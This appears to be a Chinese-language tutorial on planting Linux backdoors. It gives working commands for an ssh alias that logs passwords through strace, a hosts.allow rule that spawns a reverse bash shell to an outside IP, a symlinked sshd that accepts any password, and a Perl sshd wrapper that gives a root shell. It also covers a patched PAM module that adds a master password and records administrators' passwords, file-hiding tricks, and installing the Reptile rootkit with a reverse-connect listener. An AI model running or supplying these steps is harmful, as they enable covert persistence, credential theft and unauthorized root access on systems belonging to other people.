Linux后门
Backdoor
alias后门 ssh密码记录
1 | alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh’ |
后门将终端的输入输出(输入的ssh地址账号密码)和连接信息保存到/tmp/sshpwd-日期.log中
1 | cat /tmp/sshpwd-xxx.log |
Tcp Wrapper
1 | echo ‘ALL: ALL: spawn (bash -c “/bin/bash -i >& /dev/tcp/192.168.10.1/37789 0>&1”) & :allow’ > /etc/hosts.allow |
ssh 连接目标可触发后门回连
软链接SSH后门
1 | ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337 |
执行完成后可使用任意密码ssh连接目标机器31337 端口
重启失效
SSH Wrapper后门
1 | cd /usr/sbin/ |
这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下
分析:
1 | exec"/bin/sh"if(getpeername(STDIN)=~/^.. 4A /); |
如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是13377(4A是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行,相当于反弹一个root shell (sshd是root权限运行的)
1 | exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV; |
启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd
这一行保证了普通用户也可以正常使用ssh 服务
连接后门:
1 | socat STDIO TCP4:target_ip:22,sourceport=13377; |
将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334
这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell
无额外端口,隐蔽性较好
PAM后门
可以简单理解为劫持系统的身份认证机制
测试机器ubuntu
首先判断当前安装的pam版本
下载解压对应版本的pam源码 http://www.linux-pam.org/library/
之后修改两处代码
1 | vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c |
第一处pam_sm_authenicate()
函数处,添加FILE *fp
第二处
pam_sm_authenicate()
函数尾部
1 | //add password "test" |
编译 ./configure && make
备份原有PAM模块 mv pam_unix.so pam_unix.so.bak
使用新编译的pam模块替换原有模块cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
完成后可使用添加的密码test登陆
当管理员登陆成功时
密码会被记录在/etc/pam.txt中
隐蔽性最佳,操作较为繁琐
文件隐藏
无法删除的文件
1 | echo 'whoami' > ..\ \ \ //最后一个\后也有空格 |
这种方法建立的文件无法通过rm + tab 或rm -rf ./* 删除
除非知道文件名后面有多少个转义字符\
参数混淆
使用echo 等命令新建一个文件名为 –rf 或者 -rm 的文件
rm在删除时会把文件名当作rm的参数而无法正常删除
如果要删除这种文件
可使用 rm –- ‘-rf’
隐藏权限
可使用 chattr +i 来给文件添加一个无法修改的隐藏属性
chattr -i
即可解除,过于常见,不实用
Rootkit
https://github.com/f0rb1dd3n/Reptile
在目标机器上下载源码
1 | git clone https://github.com/f0rb1dd3n/Reptile.git |
执行./setup.sh install
安装
查看效果
进程与开放的端口均无显示
安装完成后会生成可执行文件到/reptile/ 目录下
目录无法通过ls看到,只能通过输入绝对路径访问
提供的命令:
1 | /reptile/reptile_cmd root 提权:任意权限用户执行完成后获取root权限 |
安装控制端
1 | apt install libreadline-dev |
这款rootkit的运作机制为:
使用控制机的特定端口(如配置中的666)给目标任意端口发送一串数据
当目标机器接收到这个数据后,按照配置回连
控制端使用方法与msf的linster相似
需要设置本地监听地址,连接密码,目标机器ip端口等
测试环境为内网被控机器,公网控制端,并且安装时设置了自动回连
此时单独使用./bin/下的listener在公网监听即可,会自动回连
如果安装时没有设置自动回连
可通过手动发送packet来触发回连
公网监听8200 端口
使用packet发送回连请求,接收shell